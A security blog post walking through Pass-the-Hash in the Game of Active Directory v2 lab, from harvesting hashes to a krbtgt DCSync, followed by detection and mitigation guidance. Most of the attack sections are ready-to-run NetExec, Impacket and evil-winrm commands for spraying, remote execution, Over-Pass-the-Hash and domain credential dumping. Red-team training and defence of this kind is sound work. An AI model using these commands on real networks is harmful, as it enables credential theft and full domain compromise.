astisec

Pass-the-Hash in Practice — Lateral Movement and Domain Takeover in GOAD v2

Every technique here runs in an isolated lab environment (Game of Active Directory v2, 192.168.56.0/24). GOAD is deliberately vulnerable and intended for authorized training only.

Pass-the-Hash

Pass-the-Hash is almost as old as NTLM itself, and it still works for the same reason: with NTLM the NT hash is the credential, not some proof derived from it. Whoever holds the hash doesn’t have to crack anything — they authenticate with it directly. The attack needs no cleartext password, no user interaction and no exploits. It needs a hash and a host that accepts NTLM.

This post walks Pass-the-Hash from the attacker’s side: where the hash comes from, how to use it on Linux for execution and lateral movement, how the Kerberos variant (Over-Pass-the-Hash) sidesteps modern NTLM restrictions, and finally the path to domain takeover. Detection and mitigation close it out.

Toolchain: everything on Linux — NetExec, Impacket, evil-winrm, pypykatz. Attacker host is 192.168.56.1.

Topology

192.168.56.1    Attacker (Kali)
192.168.56.10   kingslanding.sevenkingdoms.local       sevenkingdoms.local       (DC)
192.168.56.11   winterfell.north.sevenkingdoms.local   north.sevenkingdoms.local (DC)
192.168.56.12   meereen.essos.local                    essos.local               (DC)
192.168.56.22   castelblack.north.sevenkingdoms.local  Member
192.168.56.23   braavos.essos.local                    Member (ADCS)

Boundary condition. PtH works in GOAD because three things line up: the hosts run Server 2016/2019 without Credential Guard (on modern Windows 11 22H2+/Server 2025 it’s enabled by default and isolates exactly these hashes), local admin credentials are reused, and NTLM is permitted. Take any one of them away consistently and the corresponding part of the chain breaks.


1. Why the hash is enough

NTLM authenticates via a challenge-response scheme: the client proves possession of the NT hash without transmitting it. The server verifies the response against the hash it stores itself. Nowhere in this flow is the cleartext password needed — the hash is the complete, sufficient input. That’s the design flaw PtH abuses: a stolen NT hash is password-equivalent.

Where these hashes live:

  • SAM — local accounts on every Windows machine (HKLM\SAM).
  • LSASS — hashes and tickets of all currently and recently logged-on sessions, in memory. This is the richest source for domain credentials.
  • NTDS.dit — the entire domain database on the DCs; also retrievable remotely via DCSync.

All three yield NT hashes in LM:NT format. For PtH only the NT part matters.


2. Getting a hash

PtH requires a hash. The typical sources on Linux:

Local SAM — after local admin access (e.g. from an SMB relay, see the NTLM relay post):

nxc smb 192.168.56.22 -u Administrator -H  --local-auth --sam

LSASS — harvest domain sessions (the nxc lsassy module parses LSASS remotely):

nxc smb 192.168.56.22 -u eddard.stark -p '' -M lsassy

Offline, the same works with pypykatz against a previously acquired LSASS dump.

NTDS via DCSync — with replication rights, the whole domain:

secretsdump.py north.sevenkingdoms.local/eddard.stark@192.168.56.11 -just-dc

For the rest of the post we assume that a local Administrator hash and the session hash of eddard.stark (DA of north) have been recovered from castelblack.


3. Authentication and spraying

The first practical step: check where a hash is valid. NetExec authenticates directly with -H and flags administrative access with (Pwn3d!).

A single host, local account:

nxc smb 192.168.56.22 -u Administrator -H  --local-auth

The leverage with local admins is reuse. If the same local Administrator is rolled out via image/provisioning, the hash is valid domain-wide. So spray across the whole subnet:

nxc smb 192.168.56.0/24 -u Administrator -H  --local-auth
SMB  192.168.56.22  445  CASTELBLACK  [+] castelblack\Administrator  (Pwn3d!)
SMB  192.168.56.23  445  BRAAVOS      [+] braavos\Administrator  (Pwn3d!)

Two hosts with the same local admin — lateral movement without any further effort. Domain accounts work the same way, just with -d instead of --local-auth:

nxc smb 192.168.56.11 -u eddard.stark -H  -d north.sevenkingdoms.local

4. Execution

Once a hash has administrative access, the Impacket *exec tools deliver code execution. All take -hashes LM:NT — the empty LM part stays as a leading colon (-hashes :).

psexec — SYSTEM shell over a service (loudest, but SYSTEM):

psexec.py -hashes : Administrator@192.168.56.22

wmiexec — semi-interactive over WMI, no service, considerably quieter:

wmiexec.py -hashes : Administrator@192.168.56.22

atexec / smbexec — execution via scheduled task or a temporary service, as alternatives when WMI/psexec are blocked.

evil-winrm — if WinRM (5985) is open, the cleanest interactive shell:

evil-winrm -i 192.168.56.22 -u Administrator -H 

And instead of a shell, harvest the next hashes right away — secretsdump takes the same -hashes parameter:

secretsdump.py -hashes : north.sevenkingdoms.local/eddard.stark@192.168.56.22

5. Over-Pass-the-Hash: the jump to Kerberos

Plain PtH fails where NTLM is disabled. The way around it: don’t use the NT hash for NTLM, but as a Kerberos key (RC4) to request a real TGT. That’s “Over-Pass-the-Hash” / Pass-the-Key — the hash becomes a full Kerberos identity.

getTGT.py -hashes : north.sevenkingdoms.local/eddard.stark
export KRB5CCNAME=eddard.stark.ccache

From here everything runs over the ticket (-k):

psexec.py -k -no-pass north.sevenkingdoms.local/eddard.stark@winterfell.north.sevenkingdoms.local
nxc smb winterfell.north.sevenkingdoms.local -k --use-kcache

Stealth note: an RC4 TGT in an environment that otherwise runs AES is an encryption downgrade and stands out. Whoever holds the account’s AES256 key (from LSASS or DCSync) uses it instead of the NT hash and stays within the expected crypto profile:

getTGT.py -aesKey  north.sevenkingdoms.local/eddard.stark

6. From hash to domain

The chain in GOAD, piece by piece: eddard.stark is Domain Admin of north and was logged on to castelblack — so his hash is available after the LSASS access. Authenticate with that hash against the DC winterfell and empty the domain via DCSync:

secretsdump.py -hashes : \
  north.sevenkingdoms.local/eddard.stark@192.168.56.11 -just-dc-user krbtgt
[*] Dumping Domain Credentials (domain\uid:rid:lmhash:nthash)
[*] Using the DRSUAPI method to get NTDS.DIT secrets
north.sevenkingdoms.local\krbtgt:502:aad3b435b51404eeaad3b435b51404ee::::

With the krbtgt hash, north.sevenkingdoms.local is fully compromised — Golden Tickets allow arbitrary identities and durable persistence. Over the trusts, the way into sevenkingdoms and essos is just follow-up work from here. The entire path — local admin hash → spray → LSASS → DA hash → DCSync — got by without a single cracked password.


7. Detection

PtH produces characteristic patterns when the right logs are generated.

The authentication fingerprint

  • 4624 Logon Type 3 with AuthenticationPackageName: NTLM from an atypical source. Especially conspicuous: the local Administrator account (RID 500) logging on across multiple machines over the network — that’s the signature of the local-admin spray.
  • 4624 Logon Type 9 with LogonProcessName: seclogo and AuthenticationPackageName: Negotiate — the classic Over-Pass-the-Hash fingerprint (Mimikatz sekurlsa::pth and relatives).
  • 4776 (NTLM credential validation) and the same identity fanning out to many hosts in a short window — impossible-host movement.

The execution artifacts

  • psexec: service installation 7045/4697 (RemComSvc/PSEXESVC), named-pipe access.
  • wmiexec: process creation 4688 with cmd.exe /Q /c ... and the typical output redirection to \\127.0.0.1\ADMIN$\__; WMI-Activity 5861.
  • smbexec: service with cmd /c echo ... > \\.... atexec: scheduled-task events 4698.

The acquisition side

  • Sysmon Event 10 (ProcessAccess) on lsass.exe with GrantedAccess 0x1010/0x1410 from a non-standard process — the credential dump that precedes the PtH.

Over-PtH specifically

  • 4768 (TGT request) with RC4 (0x17) where AES (0x12) is otherwise used — an encryption downgrade immediately after a Type-9 logon.

Individually, many of these events are explainable. The correlation — LSASS access, followed by an NTLM Type-3 logon of a local admin on a different host, followed by a service installation — is what separates PtH from legitimate administration.


8. Mitigation

Ordered by leverage: make the hash unreachable, prevent its reuse, push NTLM back.

1. Protect the hash.

  • Enable Credential Guard. On Windows 11 22H2+ and Server 2025 it’s the default on eligible hardware; it isolates NTLM hashes, Kerberos TGTs and cached domain credentials via VBS in VTL1, so they can no longer be read from LSASS. That kills domain credential theft at the root. (GOAD on Server 2016/2019 doesn’t have it — which is why the attack works there.)
  • LSA Protection (RunAsPPL) in addition — enabled by default on modern Windows 11, it hampers LSASS reads (bypassable via BYOVD, but it raises the bar and creates detection surface).
  • Keep WDigest disabled (default since 8.1) so no cleartext passwords sit in memory.

2. Prevent reuse — the most effective lateral barrier.

  • Deny network logon for local accounts, RID 500 in particular: GPO Deny access to this computer from the network and Deny log on through Remote Desktop Services for local accounts, plus UAC remote restrictions (LocalAccountTokenFilterPolicy). This runs the local-admin spray into the ground even if the hash leaks.
  • Windows LAPS (now built in) — unique, rotating local admin passwords per host. No reused hash, no spray.

3. Harden privileged accounts.

  • Protected Users group for DA/Tier-0: no NTLM authentication, no cacheable credentials, Kerberos AES only. A DA in Protected Users can’t be passed via PtH.
  • Tiering. The fundamental prerequisite of PtH is that the hash is present at all. Privileged credentials must never land on a Tier-2 host where they can be pulled from LSASS. Exactly that — a DA session on a member server — is the root of the chain above.

4. Push NTLM back. Where possible, audit NTLM via Restrict NTLM and then disable it, migrating consistently to Kerberos. That removes the basis for plain PtH (Over-PtH via Kerberos remains, but is addressable through Protected Users + AES enforcement + downgrade monitoring).

In short: Pass-the-Hash lives on reused, readable, NTLM-usable credentials. Credential Guard removes the reading, LAPS the reuse, Protected Users and Kerberos enforcement the NTLM usability. Together the technique is dead — individually, you only shift where the attack lands.


References

Technique & background

Tools

Microsoft — detection & mitigation